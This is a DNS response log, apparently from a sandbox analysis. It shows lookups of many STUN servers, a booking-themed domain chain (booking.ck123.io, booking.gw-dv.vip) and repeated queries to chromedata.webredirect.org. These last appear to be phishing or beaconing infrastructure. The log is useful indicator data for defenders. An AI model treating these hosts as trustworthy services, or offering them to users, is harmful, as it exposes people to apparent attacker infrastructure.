Nov 2, 2024 14:00:22.535322905 CET	1.1.1.1	192.168.2.5	0x6d3c	No error (0)	stun.antisip.com		94.23.17.185	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.535449982 CET	1.1.1.1	192.168.2.5	0x1625	No error (0)	stun.cablenet-as.net		213.140.209.236	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.535537004 CET	1.1.1.1	192.168.2.5	0x65e9	No error (0)	stun.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536279917 CET	1.1.1.1	192.168.2.5	0x7d3f	No error (0)	stun.bluesip.net		185.208.37.90	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536312103 CET	1.1.1.1	192.168.2.5	0x47d4	No error (0)	stun.tel.lu		85.93.219.114	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536386967 CET	1.1.1.1	192.168.2.5	0x923d	No error (0)	stun.telbo.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536386967 CET	1.1.1.1	192.168.2.5	0x923d	No error (0)	stun.telbo.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536386967 CET	1.1.1.1	192.168.2.5	0x923d	No error (0)	stun.telbo.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536386967 CET	1.1.1.1	192.168.2.5	0x923d	No error (0)	stun.telbo.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536616087 CET	1.1.1.1	192.168.2.5	0x4540	No error (0)	stun.actionvoip.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536616087 CET	1.1.1.1	192.168.2.5	0x4540	No error (0)	stun.actionvoip.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536616087 CET	1.1.1.1	192.168.2.5	0x4540	No error (0)	stun.actionvoip.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536616087 CET	1.1.1.1	192.168.2.5	0x4540	No error (0)	stun.actionvoip.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536674976 CET	1.1.1.1	192.168.2.5	0x2ab6	No error (0)	stun.uls.co.za		154.73.34.8	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536674976 CET	1.1.1.1	192.168.2.5	0x2ab6	No error (0)	stun.uls.co.za		154.73.34.4	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536745071 CET	1.1.1.1	192.168.2.5	0x7412	No error (0)	stun1.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.536793947 CET	1.1.1.1	192.168.2.5	0xc09e	No error (0)	stun2.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.537138939 CET	1.1.1.1	192.168.2.5	0xb362	No error (0)	stun.twt.it		82.113.193.63	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.537273884 CET	1.1.1.1	192.168.2.5	0xf015	No error (0)	stun.usfamily.net		64.131.63.217	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.537273884 CET	1.1.1.1	192.168.2.5	0xf015	No error (0)	stun.usfamily.net		64.131.63.216	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.537328959 CET	1.1.1.1	192.168.2.5	0xfcfe	No error (0)	stun4.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.538050890 CET	1.1.1.1	192.168.2.5	0xfb04	No error (0)	stun3.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.538069010 CET	1.1.1.1	192.168.2.5	0x460	No error (0)	stun.acrobits.cz		85.17.88.164	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.539762974 CET	1.1.1.1	192.168.2.5	0x7a6	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.539810896 CET	1.1.1.1	192.168.2.5	0x69e	No error (0)	stun.antisip.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.539861917 CET	1.1.1.1	192.168.2.5	0x6288	No error (0)	stun.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.540368080 CET	1.1.1.1	192.168.2.5	0xeff7	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.541640043 CET	1.1.1.1	192.168.2.5	0x6f1c	No error (0)	stun1.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.542634964 CET	1.1.1.1	192.168.2.5	0x7cf6	No error (0)	stun4.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.542644978 CET	1.1.1.1	192.168.2.5	0xc782	No error (0)	stun3.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.542826891 CET	1.1.1.1	192.168.2.5	0x8e30	No error (0)	stun2.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.562505007 CET	1.1.1.1	192.168.2.5	0x9c61	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.562505007 CET	1.1.1.1	192.168.2.5	0x9c61	No error (0)	stun.1und1.de		212.227.67.34	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.562505007 CET	1.1.1.1	192.168.2.5	0x9c61	No error (0)	stun.1und1.de		212.227.67.33	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.600255966 CET	1.1.1.1	192.168.2.5	0xaf4e	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.608472109 CET	1.1.1.1	192.168.2.5	0x7a78	No error (0)	stun.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.609409094 CET	1.1.1.1	192.168.2.5	0x3fad	No error (0)	stun1.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.610867977 CET	1.1.1.1	192.168.2.5	0x6938	No error (0)	stun.antisip.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.615048885 CET	1.1.1.1	192.168.2.5	0xaf34	No error (0)	stun2.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.619683027 CET	1.1.1.1	192.168.2.5	0xf6ee	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.621846914 CET	1.1.1.1	192.168.2.5	0x96ed	No error (0)	stun3.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.627523899 CET	1.1.1.1	192.168.2.5	0x5571	No error (0)	stun4.l.google.com			28	IN (0x0001)	false
Nov 2, 2024 14:00:22.815524101 CET	1.1.1.1	192.168.2.5	0x9ce1	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.815524101 CET	1.1.1.1	192.168.2.5	0x9ce1	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.815524101 CET	1.1.1.1	192.168.2.5	0x9ce1	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:22.815524101 CET	1.1.1.1	192.168.2.5	0x9ce1	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:25.072067976 CET	1.1.1.1	192.168.2.5	0xff54	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.072067976 CET	1.1.1.1	192.168.2.5	0xff54	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.072067976 CET	1.1.1.1	192.168.2.5	0xff54	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:25.103302002 CET	1.1.1.1	192.168.2.5	0xef9	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.103302002 CET	1.1.1.1	192.168.2.5	0xef9	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.103302002 CET	1.1.1.1	192.168.2.5	0xef9	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.194487095 CET	1.1.1.1	192.168.2.5	0x214b	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.194487095 CET	1.1.1.1	192.168.2.5	0x214b	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.622807980 CET	1.1.1.1	192.168.2.5	0x16e5	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.622807980 CET	1.1.1.1	192.168.2.5	0x16e5	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.622807980 CET	1.1.1.1	192.168.2.5	0x16e5	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:25.622807980 CET	1.1.1.1	192.168.2.5	0x16e5	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:25.988945961 CET	1.1.1.1	192.168.2.5	0x8285	No error (0)	h.online-metrix.net		91.235.132.130	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.643045902 CET	1.1.1.1	192.168.2.5	0x3005	No error (0)	h.online-metrix.net		91.235.132.130	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.650592089 CET	1.1.1.1	192.168.2.5	0x43fd	No error (0)	h64.online-metrix.net		192.225.158.1	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.777616024 CET	1.1.1.1	192.168.2.5	0x5015	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.227.219.65	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.777616024 CET	1.1.1.1	192.168.2.5	0x5015	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.227.219.71	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.777616024 CET	1.1.1.1	192.168.2.5	0x5015	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.227.219.84	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.777616024 CET	1.1.1.1	192.168.2.5	0x5015	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.227.219.128	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.852232933 CET	1.1.1.1	192.168.2.5	0xf491	No error (0)	eu-aa.online-metrix.net		91.235.132.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.953649998 CET	1.1.1.1	192.168.2.5	0x9664	No error (0)	eu-aa.online-metrix.net		91.235.132.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:27.607007980 CET	1.1.1.1	192.168.2.5	0xb1ca	No error (0)	h64.online-metrix.net		192.225.158.1	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:28.473833084 CET	1.1.1.1	192.168.2.5	0x81fd	No error (0)	doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net		91.235.134.131	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:28.817945004 CET	1.1.1.1	192.168.2.5	0x9747	No error (0)	h.online-metrix.net		91.235.132.130	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:29.636820078 CET	1.1.1.1	192.168.2.5	0x37b9	No error (0)	doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net		91.235.134.131	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:30.973218918 CET	1.1.1.1	192.168.2.5	0x9f31	No error (0)	r.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:30.973218918 CET	1.1.1.1	192.168.2.5	0x9f31	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:30.973218918 CET	1.1.1.1	192.168.2.5	0x9f31	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:31.000888109 CET	1.1.1.1	192.168.2.5	0x57f2	No error (0)	r.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:31.000888109 CET	1.1.1.1	192.168.2.5	0x57f2	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:31.000888109 CET	1.1.1.1	192.168.2.5	0x57f2	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:31.000888109 CET	1.1.1.1	192.168.2.5	0x57f2	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.244.87.72	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:31.000888109 CET	1.1.1.1	192.168.2.5	0x57f2	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.244.87.113	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:31.000888109 CET	1.1.1.1	192.168.2.5	0x57f2	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.244.87.18	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:31.000888109 CET	1.1.1.1	192.168.2.5	0x57f2	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.244.87.4	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:33.210500002 CET	1.1.1.1	192.168.2.5	0x5c2c	No error (0)	collector-pxikkul2rm.px-cloud.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:33.555969000 CET	1.1.1.1	192.168.2.5	0x1d25	No error (0)	r.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:33.555969000 CET	1.1.1.1	192.168.2.5	0x1d25	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:33.555969000 CET	1.1.1.1	192.168.2.5	0x1d25	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:33.558123112 CET	1.1.1.1	192.168.2.5	0x23f9	No error (0)	r.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:33.558123112 CET	1.1.1.1	192.168.2.5	0x23f9	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:33.558123112 CET	1.1.1.1	192.168.2.5	0x23f9	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:33.558123112 CET	1.1.1.1	192.168.2.5	0x23f9	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:33.558123112 CET	1.1.1.1	192.168.2.5	0x23f9	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:33.558123112 CET	1.1.1.1	192.168.2.5	0x23f9	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:33.558123112 CET	1.1.1.1	192.168.2.5	0x23f9	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:34.354259968 CET	1.1.1.1	192.168.2.5	0x17c8	No error (0)	collector-pxikkul2rm.px-cloud.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:17.103346109 CET	1.1.1.1	192.168.2.5	0x6184	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:01:17.103346109 CET	1.1.1.1	192.168.2.5	0x6184	No error (0)	h-doregtzf.online-metrix.net		91.235.133.10	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:17.104813099 CET	1.1.1.1	192.168.2.5	0x3e0c	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:01:17.612782001 CET	1.1.1.1	192.168.2.5	0xfb64	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:01:17.612782001 CET	1.1.1.1	192.168.2.5	0xfb64	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:01:17.612782001 CET	1.1.1.1	192.168.2.5	0xfb64	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.6	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:17.612782001 CET	1.1.1.1	192.168.2.5	0xfb64	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.101	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:17.612782001 CET	1.1.1.1	192.168.2.5	0xfb64	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.15	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:17.612782001 CET	1.1.1.1	192.168.2.5	0xfb64	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.83	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:17.631535053 CET	1.1.1.1	192.168.2.5	0x1e5c	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:01:17.631535053 CET	1.1.1.1	192.168.2.5	0x1e5c	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:01:22.955142975 CET	1.1.1.1	192.168.2.5	0x78a0	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.56	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:22.955142975 CET	1.1.1.1	192.168.2.5	0x78a0	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.104	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:22.955142975 CET	1.1.1.1	192.168.2.5	0x78a0	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.5	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:22.955142975 CET	1.1.1.1	192.168.2.5	0x78a0	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.94	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:27.294742107 CET	1.1.1.1	192.168.2.5	0x27b8	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.94	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:27.294742107 CET	1.1.1.1	192.168.2.5	0x27b8	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.56	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:27.294742107 CET	1.1.1.1	192.168.2.5	0x27b8	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.5	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:27.294742107 CET	1.1.1.1	192.168.2.5	0x27b8	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.104	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:27.454619884 CET	1.1.1.1	192.168.2.5	0xbcbc	No error (0)	chromedata.webredirect.org		128.90.129.125	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:45.746085882 CET	1.1.1.1	192.168.2.5	0x43c8	No error (0)	chromedata.webredirect.org		128.90.129.125	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:07.074621916 CET	1.1.1.1	192.168.2.5	0x12f8	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:07.074641943 CET	1.1.1.1	192.168.2.5	0xcd3f	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 2, 2024 14:02:19.850991964 CET	1.1.1.1	192.168.2.5	0xf719	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:02:19.850991964 CET	1.1.1.1	192.168.2.5	0xf719	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:02:19.851023912 CET	1.1.1.1	192.168.2.5	0xaa58	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:02:19.851023912 CET	1.1.1.1	192.168.2.5	0xaa58	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:02:19.851023912 CET	1.1.1.1	192.168.2.5	0xaa58	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.101	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:19.851023912 CET	1.1.1.1	192.168.2.5	0xaa58	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.83	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:19.851023912 CET	1.1.1.1	192.168.2.5	0xaa58	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.6	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:19.851023912 CET	1.1.1.1	192.168.2.5	0xaa58	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.15	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:19.886692047 CET	1.1.1.1	192.168.2.5	0x9767	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:02:19.887713909 CET	1.1.1.1	192.168.2.5	0xc7b	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:02:19.887713909 CET	1.1.1.1	192.168.2.5	0xc7b	No error (0)	h-doregtzf.online-metrix.net		91.235.133.10	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:24.340126991 CET	1.1.1.1	192.168.2.5	0xbffc	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.224.222.88	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:24.340126991 CET	1.1.1.1	192.168.2.5	0xbffc	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.224.222.87	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:24.340126991 CET	1.1.1.1	192.168.2.5	0xbffc	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.224.222.26	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:24.340126991 CET	1.1.1.1	192.168.2.5	0xbffc	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.224.222.10	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:27.479867935 CET	1.1.1.1	192.168.2.5	0x236f	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.94	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:27.479867935 CET	1.1.1.1	192.168.2.5	0x236f	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.104	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:27.479867935 CET	1.1.1.1	192.168.2.5	0x236f	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.56	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:27.479867935 CET	1.1.1.1	192.168.2.5	0x236f	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.5	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:29.488632917 CET	1.1.1.1	192.168.2.5	0x3379	No error (0)	chromedata.webredirect.org		128.90.129.125	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:58.573599100 CET	1.1.1.1	192.168.2.5	0x8b88	No error (0)	chromedata.webredirect.org		128.90.129.125	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.603626966 CET	1.1.1.1	192.168.2.5	0x35cf	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:03:20.603626966 CET	1.1.1.1	192.168.2.5	0x35cf	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:03:20.603626966 CET	1.1.1.1	192.168.2.5	0x35cf	No error (0)	de2trjlt8e8rj.cloudfront.net		108.156.46.26	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.603626966 CET	1.1.1.1	192.168.2.5	0x35cf	No error (0)	de2trjlt8e8rj.cloudfront.net		108.156.46.74	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.603626966 CET	1.1.1.1	192.168.2.5	0x35cf	No error (0)	de2trjlt8e8rj.cloudfront.net		108.156.46.12	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.603626966 CET	1.1.1.1	192.168.2.5	0x35cf	No error (0)	de2trjlt8e8rj.cloudfront.net		108.156.46.75	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.604216099 CET	1.1.1.1	192.168.2.5	0xaff9	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:03:20.604216099 CET	1.1.1.1	192.168.2.5	0xaff9	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:03:20.606961012 CET	1.1.1.1	192.168.2.5	0x6995	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:03:20.606961012 CET	1.1.1.1	192.168.2.5	0x6995	No error (0)	h-doregtzf.online-metrix.net		91.235.133.10	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.611463070 CET	1.1.1.1	192.168.2.5	0x50a1	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:03:25.792661905 CET	1.1.1.1	192.168.2.5	0x7a15	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.227.219.65	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:25.792661905 CET	1.1.1.1	192.168.2.5	0x7a15	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.227.219.84	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:25.792661905 CET	1.1.1.1	192.168.2.5	0x7a15	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.227.219.128	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:25.792661905 CET	1.1.1.1	192.168.2.5	0x7a15	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.227.219.71	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:27.678941965 CET	1.1.1.1	192.168.2.5	0x6bcc	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.56	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:27.678941965 CET	1.1.1.1	192.168.2.5	0x6bcc	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.94	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:27.678941965 CET	1.1.1.1	192.168.2.5	0x6bcc	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.104	A (IP address)	IN (0x0001)	false
